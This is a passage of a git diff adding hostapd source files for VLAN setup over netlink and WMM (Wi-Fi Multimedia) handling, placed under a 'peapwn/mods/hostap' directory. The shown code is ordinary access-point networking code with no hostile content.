0) { + wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " + "failed: %s", __func__, strerror(errno)); + return -1; + } + + os_memset(&if_request, 0, sizeof(if_request)); + + if_request.u.name_type = name_type; + if_request.cmd = SET_VLAN_NAME_TYPE_CMD; + if (ioctl(fd, SIOCSIFVLAN, &if_request) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: SET_VLAN_NAME_TYPE_CMD " + "name_type=%u failed: %s", + __func__, name_type, strerror(errno)); + close(fd); + return -1; + } + + close(fd); + return 0; +} + +#endif /* CONFIG_VLAN_NETLINK */ + + +/** + * Increase the usage counter for given parent/ifname combination. + * If create is set, then this iface is added to the global list. + * Returns + * -1 on error + * 0 if iface is not in list + * 1 if iface is in list (was there or has been added) + */ +static int hapd_get_dynamic_iface(const char *parent, const char *ifname, + int create, struct hostapd_data *hapd) +{ + size_t i; + struct hostapd_dynamic_iface *j = NULL, **tmp; + struct hapd_interfaces *hapd_global = hapd->iface->interfaces; + + if (!parent) + parent = ""; + + for (i = 0; i < hapd_global->count_dynamic; i++) { + j = hapd_global->dynamic_iface[i]; + if (os_strncmp(j->iface, ifname, sizeof(j->iface)) == 0 && + os_strncmp(j->parent, parent, sizeof(j->parent)) == 0) + break; + } + if (i < hapd_global->count_dynamic) { + j->usage++; + return 1; + } + + /* new entry required */ + if (!create) + return 0; + + j = os_zalloc(sizeof(*j)); + if (!j) + return -1; + os_strlcpy(j->iface, ifname, sizeof(j->iface)); + os_strlcpy(j->parent, parent, sizeof(j->parent)); + + tmp = os_realloc_array(hapd_global->dynamic_iface, i + 1, + sizeof(*hapd_global->dynamic_iface)); + if (!tmp) { + wpa_printf(MSG_ERROR, "VLAN: Failed to allocate memory in %s", + __func__); + return -1; + } + hapd_global->count_dynamic++; + hapd_global->dynamic_iface = tmp; + hapd_global->dynamic_iface[i] = j; + + return 1; +} + + +/** + * Decrease the usage counter for given ifname. + * Returns + * -1 on error or if iface was not found + * 0 if iface was found and is still present + * 1 if iface was removed from global list + */ +static int hapd_put_dynamic_iface(const char *parent, const char *ifname, + struct hostapd_data *hapd) +{ + size_t i; + struct hostapd_dynamic_iface *j = NULL, **tmp; + struct hapd_interfaces *hapd_glob = hapd->iface->interfaces; + + if (!parent) + parent = ""; + + for (i = 0; i < hapd_glob->count_dynamic; i++) { + j = hapd_glob->dynamic_iface[i]; + if (os_strncmp(j->iface, ifname, sizeof(j->iface)) == 0 && + os_strncmp(j->parent, parent, sizeof(j->parent)) == 0) + break; + } + + if (i == hapd_glob->count_dynamic) { + /* + * Interface not in global list. This can happen if alloc in + * _get_ failed. + */ + return -1; + } + + if (j->usage > 0) { + j->usage--; + return 0; + } + + os_free(j); + for (; i < hapd_glob->count_dynamic - 1; i++) + hapd_glob->dynamic_iface[i] = hapd_glob->dynamic_iface[i + 1]; + hapd_glob->dynamic_iface[hapd_glob->count_dynamic - 1] = NULL; + hapd_glob->count_dynamic--; + + if (hapd_glob->count_dynamic == 0) { + os_free(hapd_glob->dynamic_iface); + hapd_glob->dynamic_iface = NULL; + return 1; + } + + tmp = os_realloc_array(hapd_glob->dynamic_iface, + hapd_glob->count_dynamic, + sizeof(*hapd_glob->dynamic_iface)); + if (!tmp) { + wpa_printf(MSG_ERROR, "VLAN: Failed to release memory in %s", + __func__); + return -1; + } + hapd_glob->dynamic_iface = tmp; + + return 1; +} + + +static void vlan_newlink(char *ifname, struct hostapd_data *hapd) +{ + char vlan_ifname[IFNAMSIZ]; + char br_name[IFNAMSIZ]; + struct hostapd_vlan *vlan = hapd->conf->vlan; + char *tagged_interface = hapd->conf->ssid.vlan_tagged_interface; + int vlan_naming = hapd->conf->ssid.vlan_naming; + int ret; + + wpa_printf(MSG_DEBUG, "VLAN: vlan_newlink(%s)", ifname); + + while (vlan) { + if (os_strcmp(ifname, vlan->ifname) == 0) { + + if (hapd->conf->vlan_bridge[0]) { + os_snprintf(br_name, sizeof(br_name), "%s%d", + hapd->conf->vlan_bridge, + vlan->vlan_id); + } else if (tagged_interface) { + os_snprintf(br_name, sizeof(br_name), + "br%s.%d", tagged_interface, + vlan->vlan_id); + } else { + os_snprintf(br_name, sizeof(br_name), + "brvlan%d", vlan->vlan_id); + } + + ret = br_addbr(br_name); + if (hapd_get_dynamic_iface(NULL, br_name, ret == 0, + hapd)) + vlan->clean |= DVLAN_CLEAN_BR; + + ifconfig_up(br_name); + + if (tagged_interface) { + if (vlan_naming == + DYNAMIC_VLAN_NAMING_WITH_DEVICE) + os_snprintf(vlan_ifname, + sizeof(vlan_ifname), + "%s.%d", tagged_interface, + vlan->vlan_id); + else + os_snprintf(vlan_ifname, + sizeof(vlan_ifname), + "vlan%d", vlan->vlan_id); + + ifconfig_up(tagged_interface); + ret = vlan_add(tagged_interface, vlan->vlan_id, + vlan_ifname); + if (hapd_get_dynamic_iface(NULL, vlan_ifname, + ret == 0, hapd)) + vlan->clean |= DVLAN_CLEAN_VLAN; + + ret = br_addif(br_name, vlan_ifname); + if (hapd_get_dynamic_iface(br_name, + vlan_ifname, + ret == 0, hapd)) + vlan->clean |= DVLAN_CLEAN_VLAN_PORT; + + ifconfig_up(vlan_ifname); + } + + ret = br_addif(br_name, ifname); + if (hapd_get_dynamic_iface(br_name, ifname, ret == 0, + hapd)) + vlan->clean |= DVLAN_CLEAN_WLAN_PORT; + + ifconfig_up(ifname); + + break; + } + vlan = vlan->next; + } +} + + +static void vlan_dellink(char *ifname, struct hostapd_data *hapd) +{ + char vlan_ifname[IFNAMSIZ]; + char br_name[IFNAMSIZ]; + struct hostapd_vlan *first, *prev, *vlan = hapd->conf->vlan; + char *tagged_interface = hapd->conf->ssid.vlan_tagged_interface; + int vlan_naming = hapd->conf->ssid.vlan_naming; + + wpa_printf(MSG_DEBUG, "VLAN: vlan_dellink(%s)", ifname); + + first = prev = vlan; + + while (vlan) { + if (os_strcmp(ifname, vlan->ifname) == 0) { + if (hapd->conf->vlan_bridge[0]) { + os_snprintf(br_name, sizeof(br_name), "%s%d", + hapd->conf->vlan_bridge, + vlan->vlan_id); + } else if (tagged_interface) { + os_snprintf(br_name, sizeof(br_name), + "br%s.%d", tagged_interface, + vlan->vlan_id); + } else { + os_snprintf(br_name, sizeof(br_name), + "brvlan%d", vlan->vlan_id); + } + + if ((vlan->clean & DVLAN_CLEAN_WLAN_PORT) && + hapd_put_dynamic_iface(br_name, vlan->ifname, hapd)) + br_delif(br_name, vlan->ifname); + + if (tagged_interface) { + if (vlan_naming == + DYNAMIC_VLAN_NAMING_WITH_DEVICE) + os_snprintf(vlan_ifname, + sizeof(vlan_ifname), + "%s.%d", tagged_interface, + vlan->vlan_id); + else + os_snprintf(vlan_ifname, + sizeof(vlan_ifname), + "vlan%d", vlan->vlan_id); + if ((vlan->clean & DVLAN_CLEAN_VLAN_PORT) && + hapd_put_dynamic_iface(br_name, vlan_ifname, + hapd)) + br_delif(br_name, vlan_ifname); + ifconfig_down(vlan_ifname); + + if ((vlan->clean & DVLAN_CLEAN_VLAN) && + hapd_put_dynamic_iface(NULL, vlan_ifname, + hapd)) + vlan_rem(vlan_ifname); + } + + if ((vlan->clean & DVLAN_CLEAN_BR) && + hapd_put_dynamic_iface(NULL, br_name, hapd) && + br_getnumports(br_name) == 0) { + ifconfig_down(br_name); + br_delbr(br_name); + } + + if (vlan == first) { + hapd->conf->vlan = vlan->next; + } else { + prev->next = vlan->next; + } + os_free(vlan); + + break; + } + prev = vlan; + vlan = vlan->next; + } +} + + +static void +vlan_read_ifnames(struct nlmsghdr *h, size_t len, int del, + struct hostapd_data *hapd) +{ + struct ifinfomsg *ifi; + int attrlen, nlmsg_len, rta_len; + struct rtattr *attr; + + if (len < sizeof(*ifi)) + return; + + ifi = NLMSG_DATA(h); + + nlmsg_len = NLMSG_ALIGN(sizeof(struct ifinfomsg)); + + attrlen = h->nlmsg_len - nlmsg_len; + if (attrlen < 0) + return; + + attr = (struct rtattr *) (((char *) ifi) + nlmsg_len); + + rta_len = RTA_ALIGN(sizeof(struct rtattr)); + while (RTA_OK(attr, attrlen)) { + char ifname[IFNAMSIZ + 1]; + + if (attr->rta_type == IFLA_IFNAME) { + int n = attr->rta_len - rta_len; + if (n < 0) + break; + + os_memset(ifname, 0, sizeof(ifname)); + + if ((size_t) n > sizeof(ifname)) + n = sizeof(ifname); + os_memcpy(ifname, ((char *) attr) + rta_len, n); + + if (del) + vlan_dellink(ifname, hapd); + else + vlan_newlink(ifname, hapd); + } + + attr = RTA_NEXT(attr, attrlen); + } +} + + +static void vlan_event_receive(int sock, void *eloop_ctx, void *sock_ctx) +{ + char buf[8192]; + int left; + struct sockaddr_nl from; + socklen_t fromlen; + struct nlmsghdr *h; + struct hostapd_data *hapd = eloop_ctx; + + fromlen = sizeof(from); + left = recvfrom(sock, buf, sizeof(buf), MSG_DONTWAIT, + (struct sockaddr *) &from, &fromlen); + if (left < 0) { + if (errno != EINTR && errno != EAGAIN) + wpa_printf(MSG_ERROR, "VLAN: %s: recvfrom failed: %s", + __func__, strerror(errno)); + return; + } + + h = (struct nlmsghdr *) buf; + while (left >= (int) sizeof(*h)) { + int len, plen; + + len = h->nlmsg_len; + plen = len - sizeof(*h); + if (len > left || plen < 0) { + wpa_printf(MSG_DEBUG, "VLAN: Malformed netlink " + "message: len=%d left=%d plen=%d", + len, left, plen); + break; + } + + switch (h->nlmsg_type) { + case RTM_NEWLINK: + vlan_read_ifnames(h, plen, 0, hapd); + break; + case RTM_DELLINK: + vlan_read_ifnames(h, plen, 1, hapd); + break; + } + + len = NLMSG_ALIGN(len); + left -= len; + h = (struct nlmsghdr *) ((char *) h + len); + } + + if (left > 0) { + wpa_printf(MSG_DEBUG, "VLAN: %s: %d extra bytes in the end of " + "netlink message", __func__, left); + } +} + + +static struct full_dynamic_vlan * +full_dynamic_vlan_init(struct hostapd_data *hapd) +{ + struct sockaddr_nl local; + struct full_dynamic_vlan *priv; + + priv = os_zalloc(sizeof(*priv)); + if (priv == NULL) + return NULL; + +#ifndef CONFIG_VLAN_NETLINK + vlan_set_name_type(hapd->conf->ssid.vlan_naming == + DYNAMIC_VLAN_NAMING_WITH_DEVICE ? + VLAN_NAME_TYPE_RAW_PLUS_VID_NO_PAD : + VLAN_NAME_TYPE_PLUS_VID_NO_PAD); +#endif /* CONFIG_VLAN_NETLINK */ + + priv->s = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (priv->s < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: socket(PF_NETLINK,SOCK_RAW," + "NETLINK_ROUTE) failed: %s", + __func__, strerror(errno)); + os_free(priv); + return NULL; + } + + os_memset(&local, 0, sizeof(local)); + local.nl_family = AF_NETLINK; + local.nl_groups = RTMGRP_LINK; + if (bind(priv->s, (struct sockaddr *) &local, sizeof(local)) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: bind(netlink) failed: %s", + __func__, strerror(errno)); + close(priv->s); + os_free(priv); + return NULL; + } + + if (eloop_register_read_sock(priv->s, vlan_event_receive, hapd, NULL)) + { + close(priv->s); + os_free(priv); + return NULL; + } + + return priv; +} + + +static void full_dynamic_vlan_deinit(struct full_dynamic_vlan *priv) +{ + if (priv == NULL) + return; + eloop_unregister_read_sock(priv->s); + close(priv->s); + os_free(priv); +} +#endif /* CONFIG_FULL_DYNAMIC_VLAN */ + + +int vlan_setup_encryption_dyn(struct hostapd_data *hapd, + struct hostapd_ssid *mssid, const char *dyn_vlan) +{ + int i; + + if (dyn_vlan == NULL) + return 0; + + /* Static WEP keys are set here; IEEE 802.1X and WPA uses their own + * functions for setting up dynamic broadcast keys. */ + for (i = 0; i < 4; i++) { + if (mssid->wep.key[i] && + hostapd_drv_set_key(dyn_vlan, hapd, WPA_ALG_WEP, NULL, i, + i == mssid->wep.idx, NULL, 0, + mssid->wep.key[i], mssid->wep.len[i])) + { + wpa_printf(MSG_ERROR, "VLAN: Could not set WEP " + "encryption for dynamic VLAN"); + return -1; + } + } + + return 0; +} + + +static int vlan_dynamic_add(struct hostapd_data *hapd, + struct hostapd_vlan *vlan) +{ + while (vlan) { + if (vlan->vlan_id != VLAN_ID_WILDCARD) { + if (hostapd_vlan_if_add(hapd, vlan->ifname)) { + if (errno != EEXIST) { + wpa_printf(MSG_ERROR, "VLAN: Could " + "not add VLAN %s: %s", + vlan->ifname, + strerror(errno)); + return -1; + } + } +#ifdef CONFIG_FULL_DYNAMIC_VLAN + ifconfig_up(vlan->ifname); +#endif /* CONFIG_FULL_DYNAMIC_VLAN */ + } + + vlan = vlan->next; + } + + return 0; +} + + +static void vlan_dynamic_remove(struct hostapd_data *hapd, + struct hostapd_vlan *vlan) +{ + struct hostapd_vlan *next; + + while (vlan) { + next = vlan->next; + + if (vlan->vlan_id != VLAN_ID_WILDCARD && + hostapd_vlan_if_remove(hapd, vlan->ifname)) { + wpa_printf(MSG_ERROR, "VLAN: Could not remove VLAN " + "iface: %s: %s", + vlan->ifname, strerror(errno)); + } +#ifdef CONFIG_FULL_DYNAMIC_VLAN + if (vlan->clean) + vlan_dellink(vlan->ifname, hapd); +#endif /* CONFIG_FULL_DYNAMIC_VLAN */ + + vlan = next; + } +} + + +int vlan_init(struct hostapd_data *hapd) +{ +#ifdef CONFIG_FULL_DYNAMIC_VLAN + hapd->full_dynamic_vlan = full_dynamic_vlan_init(hapd); +#endif /* CONFIG_FULL_DYNAMIC_VLAN */ + + if (hapd->conf->ssid.dynamic_vlan != DYNAMIC_VLAN_DISABLED && + !hapd->conf->vlan) { + /* dynamic vlans enabled but no (or empty) vlan_file given */ + struct hostapd_vlan *vlan; + vlan = os_zalloc(sizeof(*vlan)); + if (vlan == NULL) { + wpa_printf(MSG_ERROR, "Out of memory while assigning " + "VLAN interfaces"); + return -1; + } + + vlan->vlan_id = VLAN_ID_WILDCARD; + os_snprintf(vlan->ifname, sizeof(vlan->ifname), "%s.#", + hapd->conf->iface); + vlan->next = hapd->conf->vlan; + hapd->conf->vlan = vlan; + } + + if (vlan_dynamic_add(hapd, hapd->conf->vlan)) + return -1; + + return 0; +} + + +void vlan_deinit(struct hostapd_data *hapd) +{ + vlan_dynamic_remove(hapd, hapd->conf->vlan); + +#ifdef CONFIG_FULL_DYNAMIC_VLAN + full_dynamic_vlan_deinit(hapd->full_dynamic_vlan); + hapd->full_dynamic_vlan = NULL; +#endif /* CONFIG_FULL_DYNAMIC_VLAN */ +} + + +struct hostapd_vlan * vlan_add_dynamic(struct hostapd_data *hapd, + struct hostapd_vlan *vlan, + int vlan_id) +{ + struct hostapd_vlan *n; + char *ifname, *pos; + + if (vlan == NULL || vlan_id <= 0 || vlan_id > MAX_VLAN_ID || + vlan->vlan_id != VLAN_ID_WILDCARD) + return NULL; + + wpa_printf(MSG_DEBUG, "VLAN: %s(vlan_id=%d ifname=%s)", + __func__, vlan_id, vlan->ifname); + ifname = os_strdup(vlan->ifname); + if (ifname == NULL) + return NULL; + pos = os_strchr(ifname, '#'); + if (pos == NULL) { + os_free(ifname); + return NULL; + } + *pos++ = '\0'; + + n = os_zalloc(sizeof(*n)); + if (n == NULL) { + os_free(ifname); + return NULL; + } + + n->vlan_id = vlan_id; + n->dynamic_vlan = 1; + + os_snprintf(n->ifname, sizeof(n->ifname), "%s%d%s", ifname, vlan_id, + pos); + os_free(ifname); + + if (hostapd_vlan_if_add(hapd, n->ifname)) { + os_free(n); + return NULL; + } + + n->next = hapd->conf->vlan; + hapd->conf->vlan = n; + +#ifdef CONFIG_FULL_DYNAMIC_VLAN + ifconfig_up(n->ifname); +#endif /* CONFIG_FULL_DYNAMIC_VLAN */ + + return n; +} + + +int vlan_remove_dynamic(struct hostapd_data *hapd, int vlan_id) +{ + struct hostapd_vlan *vlan; + + if (vlan_id <= 0 || vlan_id > MAX_VLAN_ID) + return 1; + + wpa_printf(MSG_DEBUG, "VLAN: %s(vlan_id=%d)", __func__, vlan_id); + + vlan = hapd->conf->vlan; + while (vlan) { + if (vlan->vlan_id == vlan_id && vlan->dynamic_vlan > 0) { + vlan->dynamic_vlan--; + break; + } + vlan = vlan->next; + } + + if (vlan == NULL) + return 1; + + if (vlan->dynamic_vlan == 0) + hostapd_vlan_if_remove(hapd, vlan->ifname); + + return 0; +} diff --git a/peapwn/mods/hostap/src/ap/vlan_init.h b/peapwn/mods/hostap/src/ap/vlan_init.h new file mode 100644 index 000000000..382d5dee4 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/vlan_init.h @@ -0,0 +1,59 @@ +/* + * hostapd / VLAN initialization + * Copyright 2003, Instant802 Networks, Inc. + * Copyright 2005, Devicescape Software, Inc. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#ifndef VLAN_INIT_H +#define VLAN_INIT_H + +#ifndef CONFIG_NO_VLAN +int vlan_init(struct hostapd_data *hapd); +void vlan_deinit(struct hostapd_data *hapd); +struct hostapd_vlan * vlan_add_dynamic(struct hostapd_data *hapd, + struct hostapd_vlan *vlan, + int vlan_id); +int vlan_remove_dynamic(struct hostapd_data *hapd, int vlan_id); +int vlan_setup_encryption_dyn(struct hostapd_data *hapd, + struct hostapd_ssid *mssid, + const char *dyn_vlan); +#else /* CONFIG_NO_VLAN */ +static inline int vlan_init(struct hostapd_data *hapd) +{ + return 0; +} + +static inline void vlan_deinit(struct hostapd_data *hapd) +{ +} + +static inline struct hostapd_vlan * vlan_add_dynamic(struct hostapd_data *hapd, + struct hostapd_vlan *vlan, + int vlan_id) +{ + return NULL; +} + +static inline int vlan_remove_dynamic(struct hostapd_data *hapd, int vlan_id) +{ + return -1; +} + +static inline int vlan_setup_encryption_dyn(struct hostapd_data *hapd, + struct hostapd_ssid *mssid, + const char *dyn_vlan) +{ + return -1; +} +#endif /* CONFIG_NO_VLAN */ + +#endif /* VLAN_INIT_H */ diff --git a/peapwn/mods/hostap/src/ap/vlan_util.c b/peapwn/mods/hostap/src/ap/vlan_util.c new file mode 100644 index 000000000..cc54051b1 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/vlan_util.c @@ -0,0 +1,177 @@ +/* + * hostapd / VLAN netlink api + * Copyright (c) 2012, Michael Braun + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" +#include +#include +#include +#include +#include +#include +#include +#include + +#include "utils/common.h" +#include "utils/eloop.h" +#include "hostapd.h" +#include "vlan_util.h" + +/* + * Add a vlan interface with name 'vlan_if_name', VLAN ID 'vid' and + * tagged interface 'if_name'. + * + * returns -1 on error + * returns 1 if the interface already exists + * returns 0 otherwise +*/ +int vlan_add(const char *if_name, int vid, const char *vlan_if_name) +{ + int ret = -1; + struct nl_sock *handle = NULL; + struct nl_cache *cache = NULL; + struct rtnl_link *rlink = NULL; + int if_idx = 0; + + wpa_printf(MSG_DEBUG, "VLAN: vlan_add(if_name=%s, vid=%d, " + "vlan_if_name=%s)", if_name, vid, vlan_if_name); + + if ((os_strlen(if_name) + 1) > IFNAMSIZ) { + wpa_printf(MSG_ERROR, "VLAN: Interface name too long: '%s'", + if_name); + return -1; + } + + if ((os_strlen(vlan_if_name) + 1) > IFNAMSIZ) { + wpa_printf(MSG_ERROR, "VLAN: Interface name too long: '%s'", + vlan_if_name); + return -1; + } + + handle = nl_socket_alloc(); + if (!handle) { + wpa_printf(MSG_ERROR, "VLAN: failed to open netlink socket"); + goto vlan_add_error; + } + + if (nl_connect(handle, NETLINK_ROUTE) < 0) { + wpa_printf(MSG_ERROR, "VLAN: failed to connect to netlink"); + goto vlan_add_error; + } + + if (rtnl_link_alloc_cache(handle, AF_UNSPEC, &cache) < 0) { + cache = NULL; + wpa_printf(MSG_ERROR, "VLAN: failed to alloc cache"); + goto vlan_add_error; + } + + if (!(if_idx = rtnl_link_name2i(cache, if_name))) { + /* link does not exist */ + wpa_printf(MSG_ERROR, "VLAN: interface %s does not exist", + if_name); + goto vlan_add_error; + } + + if ((rlink = rtnl_link_get_by_name(cache, vlan_if_name))) { + /* link does exist */ + rtnl_link_put(rlink); + rlink = NULL; + wpa_printf(MSG_ERROR, "VLAN: interface %s already exists", + vlan_if_name); + ret = 1; + goto vlan_add_error; + } + + rlink = rtnl_link_alloc(); + if (!rlink) { + wpa_printf(MSG_ERROR, "VLAN: failed to allocate new link"); + goto vlan_add_error; + } + + if (rtnl_link_set_type(rlink, "vlan") < 0) { + wpa_printf(MSG_ERROR, "VLAN: failed to set link type"); + goto vlan_add_error; + } + + rtnl_link_set_link(rlink, if_idx); + rtnl_link_set_name(rlink, vlan_if_name); + + if (rtnl_link_vlan_set_id(rlink, vid) < 0) { + wpa_printf(MSG_ERROR, "VLAN: failed to set link vlan id"); + goto vlan_add_error; + } + + if (rtnl_link_add(handle, rlink, NLM_F_CREATE) < 0) { + wpa_printf(MSG_ERROR, "VLAN: failed to create link %s for " + "vlan %d on %s (%d)", + vlan_if_name, vid, if_name, if_idx); + goto vlan_add_error; + } + + ret = 0; + +vlan_add_error: + if (rlink) + rtnl_link_put(rlink); + if (cache) + nl_cache_free(cache); + if (handle) + nl_socket_free(handle); + return ret; +} + + +int vlan_rem(const char *if_name) +{ + int ret = -1; + struct nl_sock *handle = NULL; + struct nl_cache *cache = NULL; + struct rtnl_link *rlink = NULL; + + wpa_printf(MSG_DEBUG, "VLAN: vlan_rem(if_name=%s)", if_name); + + handle = nl_socket_alloc(); + if (!handle) { + wpa_printf(MSG_ERROR, "VLAN: failed to open netlink socket"); + goto vlan_rem_error; + } + + if (nl_connect(handle, NETLINK_ROUTE) < 0) { + wpa_printf(MSG_ERROR, "VLAN: failed to connect to netlink"); + goto vlan_rem_error; + } + + if (rtnl_link_alloc_cache(handle, AF_UNSPEC, &cache) < 0) { + cache = NULL; + wpa_printf(MSG_ERROR, "VLAN: failed to alloc cache"); + goto vlan_rem_error; + } + + if (!(rlink = rtnl_link_get_by_name(cache, if_name))) { + /* link does not exist */ + wpa_printf(MSG_ERROR, "VLAN: interface %s does not exists", + if_name); + goto vlan_rem_error; + } + + if (rtnl_link_delete(handle, rlink) < 0) { + wpa_printf(MSG_ERROR, "VLAN: failed to remove link %s", + if_name); + goto vlan_rem_error; + } + + ret = 0; + +vlan_rem_error: + if (rlink) + rtnl_link_put(rlink); + if (cache) + nl_cache_free(cache); + if (handle) + nl_socket_free(handle); + return ret; +} diff --git a/peapwn/mods/hostap/src/ap/vlan_util.h b/peapwn/mods/hostap/src/ap/vlan_util.h new file mode 100644 index 000000000..bef5a16f6 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/vlan_util.h @@ -0,0 +1,15 @@ +/* + * hostapd / VLAN netlink api + * Copyright (c) 2012, Michael Braun + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef VLAN_UTIL_H +#define VLAN_UTIL_H + +int vlan_add(const char *if_name, int vid, const char *vlan_if_name); +int vlan_rem(const char *if_name); + +#endif /* VLAN_UTIL_H */ diff --git a/peapwn/mods/hostap/src/ap/wmm.c b/peapwn/mods/hostap/src/ap/wmm.c new file mode 100644 index 000000000..285167263 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wmm.c @@ -0,0 +1,330 @@ +/* + * hostapd / WMM (Wi-Fi Multimedia) + * Copyright 2002-2003, Instant802 Networks, Inc. + * Copyright 2005-2006, Devicescape Software, Inc. + * Copyright (c) 2009, Jouni Malinen + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "hostapd.h" +#include "ieee802_11.h" +#include "sta_info.h" +#include "ap_config.h" +#include "ap_drv_ops.h" +#include "wmm.h" + + +/* TODO: maintain separate sequence and fragment numbers for each AC + * TODO: IGMP snooping to track which multicasts to forward - and use QOS-DATA + * if only WMM stations are receiving a certain group */ + + +static inline u8 wmm_aci_aifsn(int aifsn, int acm, int aci) +{ + u8 ret; + ret = (aifsn << WMM_AC_AIFNS_SHIFT) & WMM_AC_AIFSN_MASK; + if (acm) + ret |= WMM_AC_ACM; + ret |= (aci << WMM_AC_ACI_SHIFT) & WMM_AC_ACI_MASK; + return ret; +} + + +static inline u8 wmm_ecw(int ecwmin, int ecwmax) +{ + return ((ecwmin << WMM_AC_ECWMIN_SHIFT) & WMM_AC_ECWMIN_MASK) | + ((ecwmax << WMM_AC_ECWMAX_SHIFT) & WMM_AC_ECWMAX_MASK); +} + + +/* + * Add WMM Parameter Element to Beacon, Probe Response, and (Re)Association + * Response frames. + */ +u8 * hostapd_eid_wmm(struct hostapd_data *hapd, u8 *eid) +{ + u8 *pos = eid; + struct wmm_parameter_element *wmm = + (struct wmm_parameter_element *) (pos + 2); + int e; + + if (!hapd->conf->wmm_enabled) + return eid; + eid[0] = WLAN_EID_VENDOR_SPECIFIC; + wmm->oui[0] = 0x00; + wmm->oui[1] = 0x50; + wmm->oui[2] = 0xf2; + wmm->oui_type = WMM_OUI_TYPE; + wmm->oui_subtype = WMM_OUI_SUBTYPE_PARAMETER_ELEMENT; + wmm->version = WMM_VERSION; + wmm->qos_info = hapd->parameter_set_count & 0xf; + + if (hapd->conf->wmm_uapsd && + (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_AP_UAPSD)) + wmm->qos_info |= 0x80; + + wmm->reserved = 0; + + /* fill in a parameter set record for each AC */ + for (e = 0; e < 4; e++) { + struct wmm_ac_parameter *ac = &wmm->ac[e]; + struct hostapd_wmm_ac_params *acp = + &hapd->iconf->wmm_ac_params[e]; + + ac->aci_aifsn = wmm_aci_aifsn(acp->aifs, + acp->admission_control_mandatory, + e); + ac->cw = wmm_ecw(acp->cwmin, acp->cwmax); + ac->txop_limit = host_to_le16(acp->txop_limit); + } + + pos = (u8 *) (wmm + 1); + eid[1] = pos - eid - 2; /* element length */ + + return pos; +} + + +/* + * This function is called when a station sends an association request with + * WMM info element. The function returns 1 on success or 0 on any error in WMM + * element. eid does not include Element ID and Length octets. + */ +int hostapd_eid_wmm_valid(struct hostapd_data *hapd, const u8 *eid, size_t len) +{ + struct wmm_information_element *wmm; + + wpa_hexdump(MSG_MSGDUMP, "WMM IE", eid, len); + + if (len < sizeof(struct wmm_information_element)) { + wpa_printf(MSG_DEBUG, "Too short WMM IE (len=%lu)", + (unsigned long) len); + return 0; + } + + wmm = (struct wmm_information_element *) eid; + wpa_printf(MSG_DEBUG, "Validating WMM IE: OUI %02x:%02x:%02x " + "OUI type %d OUI sub-type %d version %d QoS info 0x%x", + wmm->oui[0], wmm->oui[1], wmm->oui[2], wmm->oui_type, + wmm->oui_subtype, wmm->version, wmm->qos_info); + if (wmm->oui_subtype != WMM_OUI_SUBTYPE_INFORMATION_ELEMENT || + wmm->version != WMM_VERSION) { + wpa_printf(MSG_DEBUG, "Unsupported WMM IE Subtype/Version"); + return 0; + } + + return 1; +} + + +static void wmm_send_action(struct hostapd_data *hapd, const u8 *addr, + const struct wmm_tspec_element *tspec, + u8 action_code, u8 dialogue_token, u8 status_code) +{ + u8 buf[256]; + struct ieee80211_mgmt *m = (struct ieee80211_mgmt *) buf; + struct wmm_tspec_element *t = (struct wmm_tspec_element *) + m->u.action.u.wmm_action.variable; + int len; + + hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "action response - reason %d", status_code); + os_memset(buf, 0, sizeof(buf)); + m->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_ACTION); + os_memcpy(m->da, addr, ETH_ALEN); + os_memcpy(m->sa, hapd->own_addr, ETH_ALEN); + os_memcpy(m->bssid, hapd->own_addr, ETH_ALEN); + m->u.action.category = WLAN_ACTION_WMM; + m->u.action.u.wmm_action.action_code = action_code; + m->u.action.u.wmm_action.dialog_token = dialogue_token; + m->u.action.u.wmm_action.status_code = status_code; + os_memcpy(t, tspec, sizeof(struct wmm_tspec_element)); + len = ((u8 *) (t + 1)) - buf; + + if (hostapd_drv_send_mlme(hapd, m, len, 0) < 0) + wpa_printf(MSG_INFO, "wmm_send_action: send failed"); +} + + +int wmm_process_tspec(struct wmm_tspec_element *tspec) +{ + int medium_time, pps, duration; + int up, psb, dir, tid; + u16 val, surplus; + + up = (tspec->ts_info[1] >> 3) & 0x07; + psb = (tspec->ts_info[1] >> 2) & 0x01; + dir = (tspec->ts_info[0] >> 5) & 0x03; + tid = (tspec->ts_info[0] >> 1) & 0x0f; + wpa_printf(MSG_DEBUG, "WMM: TS Info: UP=%d PSB=%d Direction=%d TID=%d", + up, psb, dir, tid); + val = le_to_host16(tspec->nominal_msdu_size); + wpa_printf(MSG_DEBUG, "WMM: Nominal MSDU Size: %d%s", + val & 0x7fff, val & 0x8000 ? " (fixed)" : ""); + wpa_printf(MSG_DEBUG, "WMM: Mean Data Rate: %u bps", + le_to_host32(tspec->mean_data_rate)); + wpa_printf(MSG_DEBUG, "WMM: Minimum PHY Rate: %u bps", + le_to_host32(tspec->minimum_phy_rate)); + val = le_to_host16(tspec->surplus_bandwidth_allowance); + wpa_printf(MSG_DEBUG, "WMM: Surplus Bandwidth Allowance: %u.%04u", + val >> 13, 10000 * (val & 0x1fff) / 0x2000); + + val = le_to_host16(tspec->nominal_msdu_size); + if (val == 0) { + wpa_printf(MSG_DEBUG, "WMM: Invalid Nominal MSDU Size (0)"); + return WMM_ADDTS_STATUS_INVALID_PARAMETERS; + } + /* pps = Ceiling((Mean Data Rate / 8) / Nominal MSDU Size) 